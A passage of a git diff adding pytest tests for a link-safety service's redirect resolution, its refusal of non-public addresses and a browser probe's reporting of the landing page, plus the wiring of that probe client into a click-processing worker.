client.__aenter__ = AsyncMock(return_value=client) + client.__aexit__ = AsyncMock(return_value=False) + with ( + patch( + "services.safety.tools.resolve_public_ip", + AsyncMock(return_value="93.184.216.34"), + ), + patch("services.safety.tools.httpx.AsyncClient", return_value=client), + ): + assert ( + await terminal_url_impl("https://start-src.com/r") + == "https://final-dest.net/page" + ) + + @pytest.mark.asyncio + async def test_refused_or_failed_chain_is_none(self): + from infrastructure.safe_fetch import FetchHardError + from services.safety.tools import terminal_url_impl + + with patch( + "services.safety.tools.resolve_public_ip", + AsyncMock(side_effect=FetchHardError("not public")), + ): + assert await terminal_url_impl("https://internal.example/x") is None + + +class TestFetchPageLandedUrl: + @pytest.mark.asyncio + async def test_redirected_probe_names_the_page_it_landed_on(self): + from infrastructure.browser_probe import ProbeResult + + probe = AsyncMock() + probe.probe = AsyncMock( + return_value=ProbeResult( + url="https://short.example/x", + final_url="https://landing.example/kit", + html="Kit", + screenshot=b"", + screenshot_after=b"", + media_type="image/jpeg", + observations="loaded: ...", + ) + ) + deps = _deps(probe=probe) + fetch_page = next( + t for t in build_investigation_tools(deps) if t.__name__ == "fetch_page" + ) + out = await fetch_page("https://short.example/x") + assert "url: https://short.example/x" in out + assert ( + "landed on: https://landing.example/kit (everything below is that page)" + in out + ) diff --git a/workers/click_worker.py b/workers/click_worker.py index 0a388780..1c6fb621 100644 --- a/workers/click_worker.py +++ b/workers/click_worker.py @@ -47,6 +47,7 @@ from config import AppSettings, ClickEventsSettings from dependencies.wiring import build_account_erasure_service, build_click_service +from infrastructure.browser_probe import BrowserProbeClient from infrastructure.cache.redis_client import create_redis_client from infrastructure.cache.url_cache import UrlCache from infrastructure.cloudflare_kv import CloudflareKVClient @@ -477,6 +478,15 @@ async def _build_runtime( account_id=edge.cf_account_id, api_token=edge.cf_api_token, ), + probe=( + BrowserProbeClient( + runtime.http_client, + base_url=sf.browser_probe_url, + timeout_seconds=sf.browser_probe_timeout_seconds, + ) + if sf.browser_probe_url + else None + ), http=runtime.http_client, feed_repo=worker_feed_repo, url_repo=UrlRepository(db["urlsV2"]),